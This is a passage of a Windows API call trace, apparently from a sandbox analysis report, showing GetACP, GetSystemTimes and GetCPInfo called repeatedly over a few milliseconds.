GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.804] GetACP () returned 0x4e4 [0053.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.805] GetACP () returned 0x4e4 [0053.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.806] GetACP () returned 0x4e4 [0053.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.806] GetACP () returned 0x4e4 [0053.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.806] GetACP () returned 0x4e4 [0053.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.806] GetACP () returned 0x4e4 [0053.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.806] GetACP () returned 0x4e4 [0053.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.807] GetACP () returned 0x4e4 [0053.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.808] GetACP () returned 0x4e4 [0053.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.809] GetACP () returned 0x4e4 [0053.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.810] GetACP () returned 0x4e4 [0053.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.811] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.811] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.812] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.812] GetACP () returned 0x4e4 [0053.812] 